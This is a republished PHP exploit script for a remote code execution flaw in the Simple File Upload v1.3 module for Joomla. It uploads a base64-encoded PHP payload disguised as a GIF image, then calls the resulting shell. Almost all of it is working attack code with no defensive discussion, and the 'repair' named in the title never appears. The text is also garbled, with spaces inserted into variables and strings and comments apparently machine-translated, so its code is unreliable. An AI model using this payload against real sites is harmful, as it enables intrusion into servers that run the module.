Joomla module Simple File Upload v1.3 Remote Code Execution defects and repair

 

<? PHP

 

 

/*

 

--------------------------------------------------------------------------------

 

Title: Simple File Upload v1.3 (module for joomla) Remote Code Execution Exploit

 

--------------------------------------------------------------------------------

Author: gmda www.2cto.com gmda [at] email [dot] it

Website: http://www.gmda.altervista.org/

Address: http://wasen.net/downloads/mod_simpleFileUpload.1.3.zip

Affected Versions: 1.3

Test Platform: winxp php version 5.3.2 Apache 2.0

 

 

* The setup of the module is no captcha other setups are the default *

 

 

+ ------------------------------------------------------------------------- +

 

| Only for technical exchange, at your own risk |

 

+ ------------------------------------------------------------------------- +

 

 

The vulnerability is closed to transmit malformed packets to the server that he still plays and saves in his belly.

 

This thing can be a bad intent to send commands to the server running clearly causing safety problems ........

 

The script has peroblemi upload quality control .....

 

 

 

*/

 

 

 

$ Host = "127.0.0.1 ";

 

$ Port = 80;

 

$ Shell = "R0lGOC8qLyo8P3BocCBwYXNzdGhydSgnY2FsYycpPz4vKg = ";

 

$ ContentType = "image/gif ";

 

$ Post = "POST http://www.bkjia.com/Joomla_1.5.23_ita-Stable_test_expl/index. php ";

 

$ Fp = fsockopen ($ host, $ port, $ errno, $ errstr, 30 );

 

$ Filename = "file. php5 ";

 

If (! $ Fp) die ($ errstr. $ errno); else {

 

 

$ Data = "----------------------------- 41184676334 \ r \ n ";

 

$ Data. = "Content-Disposition: form-data; name = \" MAX_FILE_SIZE \ "\ r \ n ";

 

$ Data. = "\ r \ n ";

 

$ Data. = "100000 \ r \ n --------------------------- 41184676334 \ r \ n ";

 

$ Data. = "Content-Disposition: form-data; name = \" sfuFormFields44 \ "\ r \ n ";

 

$ Data. = "\ r \ n ";

 

$ Data. = "----------------------------- 41184676334 \ r \ n ";

 

$ Data. = "Content-Disposition: form-data; name = \" uploadedfile44 [] \ "; filename = \" file. php5 \ "\ r \ nContent-Type: image/gif \ r \ n ";

 

$ Data. = base64_decode ($ shell). "\ r \ n ";

 

$ Data. = "----------------------------- 41184676334 -- \ r \ n ";

 

$ Packet = "$ post HTTP/1.1 \ r \ n ";

 

$ Packet. = "Host:". $ host. ":". $ port. "\ r \ n ";

 

$ Packet. = "Content-Type: multipart/form-data; boundary = ------------------------- 41184676334 \ r \ n ";

 

$ Packet. = "Content-Length:". strlen ($ data). "\ r \ n ";

 

$ Packet. = "Connection: Close \ r \ n ";

 

$ Packet. = $ data;

 

 

Fwrite ($ fp, $ packet );

 

Fclose ($ fp );

 

 

}

 

 

$ H = @ fopen ("http: //". $ host. "/Joomla_1.5.23_ita-Stable_test_expl/images/file. php5", "r ");

 

If ($ h ){

 

While ($ buf = fgets ($ h, 4096 ))! = False ){

 

Echo $ buf;

 

Echo ("exploit was successful ");

 

}

 

 

Fclose ($ h );

 

} Else {

 

Echo ("Error: exploit fail ");

 

}

 

?>